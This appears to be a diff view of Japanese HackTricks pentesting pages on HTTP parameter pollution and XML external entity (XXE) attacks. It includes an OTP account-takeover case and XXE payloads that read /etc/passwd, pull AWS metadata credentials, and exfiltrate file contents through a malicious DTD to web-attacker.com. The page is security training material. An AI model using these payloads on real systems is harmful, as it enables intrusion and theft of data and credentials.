* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -2,86 +2,71 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください
</details> </details>
**以下からコピー:** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654) # HTTPパラメータ汚染HPP概要
**要約 :** HTTPパラメータ汚染HPPは、HTTPパラメータの操作を通じてWebアプリケーションの予想される動作を変更する攻撃技術です。この種の攻撃は比較的直接的ですが、非常に効果的です。パラメータの操作はサーバーサイドで発生し、ユーザーには見えませんが、その結果としての動作変更はクライアントサイドで観察できます。
HTTPパラメータ汚染HPPは、特定の悪意のあるタスクを達成するために、WebアプリケーションのHTTPパラメータを汚染することを意味します。これは、HTTPリクエスト中に受け取るパラメータをWebサイトがどのように扱うかを操作することを指します。これにより、Webサイトの振る舞いが意図したものから変わります。HTTPパラメータ汚染は単純な種類の攻撃ですが、効果的です。 ## HTTPパラメータ汚染HPPの例
パラメータを汚染すると、コードはサーバー側でのみ実行され、私たちには見えませんが、結果は画面上で見ることができます。その間のプロセスはブラックボックスです。 銀行アプリケーションの標準的なトランザクションURLを考えてみましょう
例えば、以下のようなURLがありますhttps://www.anybank.com/send これには3つのパラメータがあります **URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
1. from : このURLは、accountA から accountB への10,000の取引を開始します。しかし、次のように別の `from` パラメータを追加すると:
2. to :
3. amount :
**URL : https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000** **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
これは通常のURLで、accountAからaccountBへの10000の取引を進めますが、もし同じパラメータ**“from :”**をもう一つ追加したらどうでしょうか 取引が accountA ではなく accountC から差し引かれる可能性があります。これは、HPPがパラメータを操作するためにどのように使用されるかを示しています。特に、この脆弱性はGETリクエストに限定されず、パスワードの変更、2FA、またはAPIキーの送信など、さまざまな機能でPOSTリクエストでも悪用される可能性があります
そうするとURLは **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC** のようになります。 パラメータの解析は使用されている特定のWebテクロジーに依存することを認識することが重要です。[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)のようなツールを使用して、Webテクロジーを特定し、そのパラメータ解析の動作を理解することができます。
このURLで10000の取引を進めると、accountAではなくaccountCから差し引かれます。これが**HTTPパラメータ汚染**攻撃でパラメータを操作する方法です。この脆弱性の範囲は**GET**リクエストに限定されているわけではなく、**POST**ベースのリクエストに対してもこの攻撃を実行できます。パスワード変更、2FA、コメント、プロフィール写真のアップロード、APIキーが渡されるパラメータ、OTPなど、多くの場所でこの脆弱性を試すことができます。 ## PHP
パラメータを操作するとき、その操作は各Web技術がパラメータを解析する方法に依存します。Web技術を識別するには「[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)」を使用できます。以下は、いくつかの技術とそれらのパラメータ解析のスクリーンショットです。技術とそれらのパラメータ解析 HPPを悪用する注目すべきインスタンスには、次の手順が含まれます
![Image for post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg) 1. **OTP操作:**
- OTPをリクエストするログインページが対象となりました。
- OTPリクエストを送信した後、次のHTTPリクエストがBurp Suiteを使用して傍受されました。
- 別のメールがリクエストに追加され、`email`パラメータが効果的に複製されました。
- 最初のメール用に意図されたOTPが誤って2番目のメールに送信され、最初のアカウントへの不正アクセスが可能になりました。
HPPの私の発見の一つを共有したいと思います。この脆弱性を使ってアカウントを乗っ取ることができました。 このインシデントは、アプリケーションのバックエンドが `email` パラメータを処理し、最初のパラメータをOTP生成に使用し、2番目のパラメータをOTP配信に使用したことを示しています
**この脆弱性をどのように見つけたか?** # FlaskとPHPにおけるパラメータ解析
1. そのプログラムのログインページに行きました。ログインするためのOTPが必要でした。 異なるWebテクロジーはパラメータをユニークに解析します。たとえば、`a=1&a=2` というクエリの場合、FlaskとPHPはパラメータを異なる方法で解釈します
OTPを送信 - **Flask:** 最初の出現を取りますa=1
- **PHPApache HTTP Server上:** 最後の出現を取りますa=2
![Image for post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg) このパラメータ処理の違いは、アプリケーションの動作やHPP攻撃への脆弱性に大きな影響を与える可能性があります。これに関する詳細は、[この解説](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)で見つけることができます。
2\. メールアドレスを入力して「ワンタイムパスワードを送信」をクリックしました。 # 参考文献
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
3\. バープスイートを使用してリクエストを傍受し、同じパラメータを使用して別のメールアドレスを追加しましたテスト目的で2つのメールアドレスを作成しました。バープリクエスト * [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
![Image for post](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
4\. shrey……@gmail.comのOTPを私の別のアカウントradhika…..@gmail.comに受け取りました。OTP
![Image for post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
5\. OTPをコピーして、そのプログラムのログイン画面でshrey….@gmail.comに行き、このOTPを入力しました。そしてアカウントに入りました。アカウント乗っ取り
![Image for post](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
ここで何が起こったかというと、バックエンドアプリケーションは最初の「**email**」パラメータの値を使用してOTPを生成し、2番目の「**email**」パラメータの値を使用して値を供給しました。つまり、shrey….@gmail.comのOTPがradhika….@gmail.comに送られました。
**注記:** 4番目のステップでradhika….@gmail.comにOTPを受け取った画像では、メッセージにHi Radhikaと書かれていたので、パラメータが汚染されていないと混乱しました。しかし、shrey….@gmail.comでOTPを試したところ、機能しました。
## Flask & PHP
[**このライトアップ**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)では、`a=1&a=2`のようなHTTPクエリがApache HTTPサーバー上で実行されるFlaskとPHPによって異なって解釈されることがわかります。Flaskでは、パラメータは`1`最初の出現になりますが、PHPでは`2`(最後の出現)になります。
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
</details> </details>

File diff suppressed because one or more lines are too long

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する** - **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
@ -18,71 +18,52 @@ XML External Entity攻撃は、XML入力を解析するアプリケーション
## XMLの基礎 ## XMLの基礎
**この部分のほとんどは、この素晴らしいPortswiggerのページから取られました:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities) **ほとんどはこの素晴らしいPortswiggerページに基づいています** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
### XMLとは何か <a href="#what-is-xml" id="what-is-xml"></a> ### 可拡張マークアップ言語の概要 <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
XMLは"extensible markup language"の略です。XMLはデータの保存と輸送のために設計された言語です。HTMLと同様に、XMLはタグとデータのツリー構造を使用します。HTMLと異なり、XMLは事前定義されたタグを使用せず、データを記述する名前をタグに付けることができます。ウェブの歴史の初期には、XMLはデータ輸送フォーマットとして流行していました"AJAX"の"X"は"XML"を表します。しかし、現在はJSONフォーマットに人気が移っています。 可拡張マークアップ言語XMLは、データの格納と輸送に使用されるマークアップ言語として定義されています。木構造を思わせる構造を採用し、HTMLと似たタグとデータで構成されるXMLは、事前に定義されたタグに制限されないことで特徴付けられます。この柔軟性により、データを記述的に表すタグの利用が可能となります。歴史的に、XMLはデータ輸送の形式として注目され、特に「AJAX」「X」は「XML」を表すへの貢献で知られています。しかし、その人気は低下し、JSONが好まれる形式として浮上しています。
### XMLエンティティとは何か? <a href="#what-are-xml-entities" id="what-are-xml-entities"></a> ### XMLでのデータ項目の表現 <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
XMLエンティティは、データ自体を使用する代わりに、XMLドキュメント内のデータ項目を表す方法です。さまざまなエンティティがXML言語の仕様に組み込まれています。例えば、エンティティ`&lt;`と`&gt;`は文字`<`と`>`を表します。これらはXMLタグを示すために使用されるメタ文字であり、データ内に現れる場合は通常、エンティティを使用して表される必要があります。 XMLでは、エンティティはドキュメント内のデータ項目を表現するメカニズムとして機能し、直接データを挿入する代替手段を提供します。XML仕様にはさまざまな組み込みエンティティが組み込まれています。たとえば、`&lt;`と`&gt;`は、それぞれ`<`と`>`文字を表します。これらのメタ文字は、XMLタグを区切る役割を持つため、データ内に表示される場合はしばしばエンティティを使用して描写する必要があります。
### XMLエレメントとは何か? ### XML要素の定義
エレメント型宣言は、XMLドキュメントに現れることができるエレメントの型と数、どのエレメントが互いに現れることができるか、どの順序で現れる必要があるかのルールを設定します。例えば XMLでは、要素タイプ宣言が重要であり、XMLドキュメント内の要素の存在、タイプ、および順序のガイドラインを確立します。例として次のようなものがあります
* `<!ELEMENT stockCheck ANY>` は、任意のオブジェクトが親エレメント`<stockCheck></stockCheck>`内に存在できることを意味します - `<!ELEMENT stockCheck ANY>`は、`<stockCheck></stockCheck>`要素が任意の種類のオブジェクトを囲むことを示します。
* \<!ELEMENT stockCheck EMPTY> は、それが空であるべきことを意味します `<stockCheck></stockCheck>` - `<!ELEMENT stockCheck EMPTY>`は、`<stockCheck></stockCheck>`要素がコンテンツを持たないようにすることを指示します。
* \<!ELEMENT stockCheck (productId,storeId)> は、`<stockCheck>`が子エレメント`<productId>`と`<storeId>`を持つことができると宣言します - `<!ELEMENT stockCheck (productId,storeId)>`は、`<stockCheck>`要素が`<productId>`と`<storeId>`のみを子要素として含むことを指定します。
### ドキュメントタイプ定義とは何か? <a href="#what-is-document-type-definition" id="what-is-document-type-definition"></a> ### ドキュメントタイプ定義の紹介 <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
XMLドキュメントタイプ定義DTDには、XMLドキュメントの構造、含むことができるデータ値の型、その他の項目を定義することができる宣言が含まれています。DTDは、XMLドキュメントの開始時にオプションの`DOCTYPE`エレメント内で宣言されます。DTDは、ドキュメント自体内に完全に自己完結している"内部DTD"と呼ばれる)か、他の場所からロードされる("外部DTD"と呼ばれる)か、またはその両方のハイブリッドであることができます。 ドキュメントタイプ定義DTDは、XMLにおいてXMLドキュメントの構造、許容されるデータ型などを指示する宣言を提供することで重要な役割を果たします。XMLドキュメントの冒頭に配置されるオプションの`DOCTYPE`要素は、DTDを宣言できます。DTDは、ドキュメントに完全に埋め込まれた場合に「内部」、外部ソースから読み込まれる場合に「外部」、またはその両方の組み合わせとして分類されます。
### XMLカスタムエンティティとは何か? <a href="#what-are-xml-custom-entities" id="what-are-xml-custom-entities"></a> ### XMLでのカスタムエンティティの利用 <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
XMLは、DTD内でカスタムエンティティを定義することができます。例えば XMLは、DTD内でカスタムエンティティを定義することを可能にします。例として次のような宣言があります
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>` `<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>`
この定義は、エンティティ参照`&myentity;`の任意の使用がXMLドキュメント内で定義された値"`my entity value`"に置き換えられることを意味します。 このような宣言は、ドキュメント内のエンティティ参照`&myentity;`が「my entity value」に置換されることを示します。
### XML外部エンティティとは何か? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a> ### XMLでの外部エンティティの組み込み <a href="#incorporation-of-external-entities-in-xml" id="incorporation-of-external-entities-in-xml"></a>
XML外部エンティティは、定義が宣言されているDTDの外部に位置するカスタムエンティティの一種です。 XMLの外部エンティティは、DTD外部に定義される特性を持つカスタムエンティティの一種です。これらのエンティティは`SYSTEM`キーワードを使用し、エンティティの値を取得する場所を指定するURLが必要となります。これにより、[XML外部エンティティ攻撃](https://portswigger.net/web-security/xxe)が可能となります。
外部エンティティの宣言には`SYSTEM`キーワードが使用され、エンティティの値をロードするためのURLを指定する必要があります。例えば ### XXE検出のためのXMLパラメータエンティティの悪用
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>` 標準エンティティが検証やXMLパーサーの強化によりXXE脆弱性を悪用するのに効果的でない場合、XMLパラメータエンティティを使用することができます。パーセント記号がエンティティ名の前に付加され、同じ文字で参照されることによって区別されるXMLパラメータエンティティは、DTD内でのみ参照されます。これにより、DNSルックアップや攻撃者が制御するドメインへのHTTPリクエストを開始するなどのアウトオブバンドメソッドを介して、盲目的なXXE検出が可能となり、攻撃の成功を確認できます。
URLは`file://`プロトコルを使用することができ、したがって外部エンティティはファイルからロードすることができます。例えば:
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>`
XML外部エンティティは、[XML外部エンティティ攻撃](https://portswigger.net/web-security/xxe)が発生する主要な手段を提供します。
### XMLパラメータエンティティとは何か
時には、アプリケーションによるいくつかの入力検証や使用されているXMLパーサーの強化のために、通常のエンティティを使用したXXE攻撃がブロックされます。この状況では、代わりにXMLパラメータエンティティを使用することができるかもしれません。XMLパラメータエンティティは、DTD内の他の場所でのみ参照できる特別な種類のXMLエンティティです。現在の目的のために、2つのことだけを知っておく必要があります。まず、XMLパラメータエンティティの宣言には、エンティティ名の前にパーセント文字が含まれます
`<!ENTITY % myparameterentity "my parameter entity value" >`
そして二つ目に、パラメータエンティティは通常のアンパサンドの代わりにパーセント文字を使用して参照されます:%myparameterentity;`
これは、以下のようにXMLパラメータエンティティを使用して盲目のXXEをバンド外検出でテストすることができることを意味します
`<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>`
このXXEペイロードは`xxe`というXMLパラメータエンティティを宣言し、そのエンティティをDTD内で使用します。これにより、攻撃者のドメインへのDNSルックアップとHTTPリクエストが発生し、攻撃が成功したことが確認されます。
## 主な攻撃 ## 主な攻撃
[これらの攻撃のほとんどは、素晴らしいPortswiggersのXEEラボを使用してテストされました: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) **[これらの攻撃のほとんどは素晴らしいPortswiggers XEEラボを使用してテストされましたhttps://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
### 新しいエンティティテスト ### 新しいエンティティのテスト
この攻撃では、単純な新しいENTITY宣言が機能しているかをテストします この攻撃では、単純な新しいエンティティ宣言が機能するかどうかをテストします。
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]> <!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -91,21 +72,17 @@ XML外部エンティティは、[XML外部エンティティ攻撃](https://por
<storeId>1</storeId> <storeId>1</storeId>
</stockCheck> </stockCheck>
``` ```
![](<../.gitbook/assets/image (220).png>)
### ファイルの読み取り ### ファイルの読み取り
異なる方法で `/etc/passwd` を読み取ってみましょう。Windowsの場合は、`C:\windows\system32\drivers\etc\hosts` を読み取ることができます。 さまざまな方法で `/etc/passwd` を読み取ってみましょう。Windowsの場合は、`C:\windows\system32\drivers\etc\hosts` を読み取ることができます。
この最初のケースでは、SYSTEM "_**file:///**_etc/passwd_" も機能することに注意してください。 最初のケースでは、SYSTEM "_\*\*file:///\*\*etc/passwd_" も機能することに注意してください。
```markup ```markup
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]> <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data> <data>&example;</data>
``` ```
![](<../.gitbook/assets/image (221).png>) この2番目のケースは、WebサーバーがPHPを使用している場合にファイルを抽出するのに役立ちますPortswiggers labsの場合ではありません
この2番目のケースは、WebサーバーがPHPを使用している場合Portswiggersのラボの場合ではないにファイルを抽出するのに役立つはずです。
```markup ```markup
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -123,11 +100,9 @@ XML外部エンティティは、[XML外部エンティティ攻撃](https://por
<storeId>1</storeId> <storeId>1</storeId>
</stockCheck3> </stockCheck3>
``` ```
![](<../.gitbook/assets/image (222) (1).png>)
### ディレクトリリスト ### ディレクトリリスト
**Java** ベースのアプリケーションでは、XXE を使用して以下のようなペイロードで**ディレクトリの内容をリストする**ことが可能かもしれません(ファイルの代わりにディレクトリを要求するだけです): **Java**ベースのアプリケーションでは、次のようなペイロードを使用してXXEを介してディレクトリの内容をリストアップすることができる場合がありますファイルではなくディレクトリを要求するだけです):
```markup ```markup
<!-- Root / --> <!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -137,7 +112,7 @@ XML外部エンティティは、[XML外部エンティティ攻撃](https://por
``` ```
### SSRF ### SSRF
XXEを用してクラウド内のSSRFを悪用することができます XXEを使用してクラウド内のSSRFを悪用することができます
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
@ -145,97 +120,98 @@ XXEを利用してクラウド内のSSRFを悪用することができます
``` ```
### Blind SSRF ### Blind SSRF
**先に述べた技術**を使用して、サーバーが脆弱であることを示すために、制御しているサーバーにアクセスさせることができます。しかし、それが機能しない場合は、**XMLエンティティが許可されていない**可能性があります。その場合、**XMLパラメータエンティティ**を使用してみることができます: **以前にコメントされたテクニック**を使用すると、サーバーにアクセスして脆弱性を表示させることができます。しかし、それがうまくいかない場合、おそらく**XMLエンティティが許可されていない**ためかもしれません。その場合は、**XMLパラメータエンティティ**を使用してみることができます:
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
### "Blind" SSRF - データをアウトオブバンドで抽出 ### "Blind" SSRF - データをアウト・オブ・バンドで流出させる
**今回は、サーバーに新しいDTDを読み込ませ、そのDTDに含まれる悪意のあるペイロードがHTTPリクエストを介してファイルの内容を送信する方法を試みます複数行のファイルの場合は** _**ftp://**_ **を介して抽出を試みることができます)。この説明は** [**Portswiggerのラボからのものです**](https://portswigger.net/web-security/xxe/blind)**。** **この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエスト経由で送信させます複数行のファイルの場合は** _**ftp://**_**を経由して流出させることもできます)。この説明は** [**こちらのPortswiggerのラボ**](https://portswigger.net/web-security/xxe/blind)**から取得しました。**
`/etc/hostname` ファイルの内容を抽出するための悪意のあるDTDの例は以下の通りです: `/etc/hostname`ファイルの内容を流出させるための悪意のあるDTDの例は次のとおりです:
```markup ```markup
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval; %eval;
%exfiltrate; %exfiltrate;
``` ```
このDTDは以下のステップを実行します: このDTDは次の手順を実行します:
* `/etc/passwd` ファイルの内容を含む `file` というXMLパラメータエンティティを定義します。 * `/etc/passwd` ファイルの内容を含む XML パラメータエンティティ `file` を定義します。
* `exfiltrate` という別のXMLパラメータエンティティの動的宣言を含む `eval` というXMLパラメータエンティティを定義します。`exfiltrate` エンティティは、`file` エンティティの値をURLクエリストリング内に含むHTTPリクエストを攻撃者のウェブサーバーに対して行うことで評価されます。 * 別の XML パラメータエンティティ `exfiltrate`動的宣言を含む XML パラメータエンティティ `eval` を定義します。`exfiltrate` エンティティは、`file` エンティティの値を URL クエリ文字列内に含む攻撃者のWebサーバーにHTTPリクエストを行うことで評価されます。
* `eval` エンティティを使用し、`exfiltrate` エンティティの動的宣言を実行させます。 * 動的宣言を行うために `eval` エンティティを使用します。
* 指定されたURLにリクエストすることでその値が評価されるように、`exfiltrate` エンティティを使用します。 * 指定されたURLにリクエストを行うことで、`exfiltrate` エンティティの値を評価します。
攻撃者は、通常、自分のウェブサーバーにロードすることで、制御下にあるシステム上で悪意のあるDTDをホストする必要があります。例えば、攻撃者は以下のURLで悪意のあるDTDを提供するかもしれません\ その後、攻撃者は通常、悪意のあるDTDを自分がコントロールするシステムにホストする必要があります。例えば、攻撃者は次のURLで悪意のあるDTDを提供するかもしれません\
`http://web-attacker.com/malicious.dtd` `http://web-attacker.com/malicious.dtd`
最後に、攻撃者は脆弱なアプリケーションに以下のXXEペイロードを送信する必要があります 最後に、攻撃者は脆弱なアプリケーションにのXXEペイロードを送信する必要があります
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
### エラーベース(外部DTD) このXXEペイロードは、`xxe`というXMLパラメータエンティティを宣言し、そのエンティティをDTD内で使用しています。これにより、XMLパーサーは攻撃者のサーバーから外部DTDを取得し、インラインで解釈します。悪意のあるDTD内で定義された手順が実行され、`/etc/passwd`ファイルが攻撃者のサーバーに送信されます。
**このケースでは、サーバーに悪意のあるDTDを読み込ませ、エラーメッセージ内にファイルの内容を表示させますエラーメッセージを見ることができる場合にのみ有効です。** [**こちらの例。**](https://portswigger.net/web-security/xxe/blind) ### エラーベース外部DTD
